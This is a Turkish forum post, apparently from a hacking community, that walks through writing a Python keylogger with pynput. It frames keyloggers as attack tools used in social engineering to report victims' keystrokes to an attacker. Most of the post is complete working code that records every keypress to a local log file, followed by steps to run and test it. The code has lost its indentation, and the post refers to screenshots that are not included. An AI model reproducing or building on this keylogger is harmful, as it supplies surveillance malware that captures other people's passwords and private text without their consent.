Merhaba Arkadaşlar Ben Venom.20
Bu Konumuzda Python İle Bir Keylogger Kodlayacağız.
Not: Bu Keylogger Elbette Detaylandırılıp Daha da geliştirilebilir.
İlk Olarak Keylogger Nedir? Bi Bakalım
Keylogger aslında bi tuş kaydedicidir, yani sizin bilgisayarınız üzerinde kullanığınız tuşları algılayıp size bildiren bir yazılımdır.
Genellikle Sosyal Mühendislik Saldırıylarıyla Kullanılır. Örnek Vermek gerekirse Bir Sistemde Keylogger dediğimiz yazılımlar çalışırsa, Kullanıcı Herhangi bir yazı yazdığında karakter girdiğinde Saldırgana bildirilir. Buna Enter Tuşu, Boşluk Tuşu ve Silme Tuşu gibi haraketlerde dahil olabilmektedir.
Hadi Gelin Bizim Keyloggerımıza Bakalım
KODLAR
Python:
import pynput
from pynput.keyboard import Key,Listener
count = 0
keys = []
def on_press(key):
global count,keys
count += 1
print("{0} pressed".format(key))
keys.append(key)
if count >= 10:
count = 0
write_file(keys)
keys = []
def write_file(keys):
with open("log.txt" , "a" , encoding="utf-8") as file:
for key in keys:
k = str(key).replace("'", "")
if k.find("space") > 0:
file.write("\n")
elif k.find("Key") == -1:
file.write(k)
def on_release(key):
if key == Key.esc:
print("exit")
return False
with Listener(on_press = on_press, on_release = on_release) as listener:
listener.join()
Not: pynput modülü kullanılmaktadır. Kodları Çalıştırmak isterseniz ilk olarak modül kurulumunu yapın.
Kod Editörümüzde Kodumu Çalıştıralım
Ben Visual Studio Code Kullanıyorum kodlamaları da Bu Editör üzerinden yaptım. Fakat siz Python Programlama Dilini Destekleyen Herhangi bir Editör Üzerinden de Yapabilirsiniz.
Gördüğümüz gibi Terminal Açıldı.
Şimdi Tarayıcı Üzerinde Arama Yaparak Test Edelim
Not: Tarayıcı Olmak Zorunda Değil herhangi farklı şeylerde olabilir yeter ki tuşları kullanın.
Örnek Olarak "turkhackteam" yazalım ve
Gördüğümüz gibi Enter da dahil olmak üzere bütün tuş hareketlerini bize bildirdi.
Son düzenleme: